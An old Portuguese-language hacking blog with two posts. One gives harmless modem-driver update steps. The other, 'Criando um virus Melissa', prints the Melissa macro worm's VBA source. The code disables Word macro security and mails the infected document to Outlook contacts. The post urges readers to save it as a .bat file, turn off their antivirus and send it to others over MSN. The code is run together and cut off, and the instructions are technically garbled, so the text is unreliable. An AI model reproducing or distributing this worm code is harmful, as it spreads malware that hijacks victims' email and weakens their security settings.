segunda-feira, 18 de agosto de 2008

Estalando Um Modem

PRIMEIRO PARA VOCE ESTALA UM MODEM BEM VOCE TEM QUE TER O CD CLARO
SER NAO TIVE O CD BAIXE DA INTERNET PREFERECIA O BAIXE AKI E BOM TEM TUDO SO NAO PROGAMA HACK LA NAO TEM

VAMOIS LA

PRIMEIRO ENSIRA O CD NA GRAVADORA AI VAI LA EM


1ºVAMOIS LA CHICK COM O BOTÃO DIREITO DO MAUSE EM CIMA DO MEU COMPUTADOR

2ºVAI EM PROPRIEDADE

3º VAI EM HARWARE

4º VAI EM GERECIADOR DE DISPOZITIVO

5º VAI EM PROPRIEDADE DO MODEM

6º AGORA VOCE CHICK NA OPÇÃO ATUALIZAR MODEM

7º E O MODEM VAI ATUALIZA A E SO

ASSINADO:HACK_SYNTAX 4


domingo, 17 de agosto de 2008

CRIANDO UM VIRUS MELISSA

UM VIRUS MELISSA E UM VIRUS MAIS PIRIGOSO DA INTERNET E MAIS PERIGOSO QUE O CAVALO DE TROIA E O TROJAN OS DOIS JUNTOS NAO E NADA PERTO DESSE VIRUS QUE VOU ENSINA VOCE CRIAR PESSOA

PRIMEIRO VA NESSE LUGAR


1º INICIAR>>
2ºPROGAMA>>
3ºACESSORIOS>>
4ºBLOCO DE NOTAS>>

OU INICIAR >>EXECUTAR>>notepad.exe

APARECEU O BLOCO DE NOTAS VOCE COPIA ESSE CODIGO AKI


Private Sub Document_Open()On Error Resume NextIf System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""ThenCommandBars("Macro").Controls("Security...").Enabled = FalseSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&ElseCommandBars("Tools").Controls("Macro").Enabled = FalseOptions.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName, BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "password"For y = 1 To DasMapiName.AddressLists.CountSet AddyBook = DasMapiName.AddressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo = 1 To AddyBook.AddressEntries.CountPeep = AddyBook.AddressEntries(x)BreakUmOffASlice.Recipients.Add Peepx = x + 1If x > 50 Then oo = AddyBook.AddressEntries.CountNext ooBreakUmOffASlice.Subject = "Important Message From " &Application.UserNameBreakUmOffASlice.Body = "Here is that document you asked for ... don'tshow anyone else Wink"BreakUmOffASlice.Attachments.Add ActiveDocument.FullNameBreakUmOffASlice.SendPeep = ""Next yDasMapiName.Logoff


E COLA NO BLOCO DE NOTAS E SALVA COMO >>HACK.BAT >>NAO COMO XX.TXT

A TEM MAIS UMA BLOQUER O SEU ANTI VIRUS SER NAO ELE ACUSAR
PARA MANDA NO MSN SO CHICK COM O BOTÃO DIREITO E NOVO ZIP E JA ERRA SO FELIZIDADE


QUEM GOSTA DA UM UP


ASS:Hacker_syntax4